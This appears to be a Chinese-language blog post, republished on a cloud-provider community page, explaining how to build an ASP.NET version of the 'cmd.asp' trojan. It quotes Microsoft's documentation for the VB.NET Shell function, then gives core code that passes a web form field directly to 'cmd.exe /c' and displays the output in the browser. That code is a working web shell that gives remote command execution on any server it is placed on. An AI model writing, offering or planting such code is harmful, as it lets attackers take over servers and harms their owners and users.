asp.net環境下的cmd命令執行

來源:互聯網
上載者:User
asp.net|執行 cmd.asp木馬大家一定用過吧。這是一個可以執行cmd命令的asp檔案(不過要被殺毒軟體追殺^_^)。其原理是用WSCRIPT.SHELL對象調用cmd.exe,然後把返回的資訊放到一個臨時檔案,再利用FSO把臨時檔案資訊讀出來顯示在瀏覽器裡。

呵呵,在asp.net環境下也是可以寫出類似程式的。不過可以不用那些對象。

VB.net裡有一個shell函數,可以執行外部程式。呵呵,就是利用它!現看看微軟的.net framework SDK的介紹:





Shell 函數
命名空間:Microsoft.VisualBasic
模組:Interaction
程式集:Microsoft Visual Basic .NET 運行庫(位於 Microsoft.VisualBasic.dll 中)
運行一個可執行程式,並且如果該程式仍然在運行,則返回一個包含該程式的進程 ID 的整數。
Public Function Shell( _
ByVal Pathname As String, _
Optional ByVal Style As AppWinStyle = AppWinStyle.MinimizedFocus, _
Optional ByVal Wait As Boolean = False, _
Optional ByVal Timeout As Integer = -1 _
) As Integer
參數
Pathname
必選項。字串。要執行的程式名以及任何需要的參數和命令列開關。Pathname 還可以包括磁碟機和目錄路徑或檔案夾。
Style
可選項。AppWinStyle。從 AppWinStyle 枚舉中選擇的值,該枚舉與要在其中運行程式的視窗樣式相對應。如果省略 Style,則 Shell 使用 AppWinStyle.MinimizedFocus,這將使程式以最小化啟動並具有焦點。
Style 參數可以有以下設定之一:
枚舉值 說明
AppWinStyle.Hide 隱藏視窗並為隱藏的視窗提供焦點。
AppWinStyle.NormalFocus 為視窗提供焦點,並以最近的大小和位置顯示視窗。
AppWinStyle.MinimizedFocus 為視窗提供焦點,並以表徵圖的形式顯示視窗。
AppWinStyle.MaximizedFocus 為視窗提供焦點,並以全屏方式顯示視窗。
AppWinStyle.NormalNoFocus 將視窗設定為最近的大小和位置。當前使用中視窗保持焦點。
AppWinStyle.MinimizedNoFocus 以表徵圖的形式顯示視窗。當前使用中視窗保持焦點。

Wait
可選項。Boolean。指示 Shell 函數是否應等待程式完成的值。如果省略 Wait,則 Shell 使用 False。
Timeout
可選項。Integer。Wait 為 True 時等待完成的毫秒數。如果省略 Timeout,則 Shell 使用 -1,表示沒有逾時,Shell 直到程式完成時才返回。因此,如果省略 Timeout 或將它設定為 -1,則 Shell 可能永遠不會將控制返回給程式。



嗯,你那麼帥,一定看得懂^_^

現在看核心代碼:
dim but as string
dim tempfile as string=server.MapPath(".") & "\" & "test.txt"
shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,-1)
dim myread as new streamreader(tempfile,encoding.default)
but=myread.readtoend
but=replace(but,"<","<")
but=replace(but,">",">")
result.text="<pre>" & but & "</pre>"
myread.close
if file.exists(tempfile) then
file.delete(tempfile)
end if

關鍵是shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000),這句話就是調用cmd.exe並且等待程式執行完畢。注意:要是你啟動並執行命令需要等待(如date),呵呵,那就慘了。那就暫時刪不掉臨時檔案test.txt……而且不能再執行命令了……不知道高手能不能解決這個問題,先謝過啦。

另:vb裡也有shell函數,但是我用在asp檔案裡卻不行,呵呵

順手說一哈,我的系統winXP,IIS5.1,.netframeworkSDK1.1
完整程式cmd.aspx附上



聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.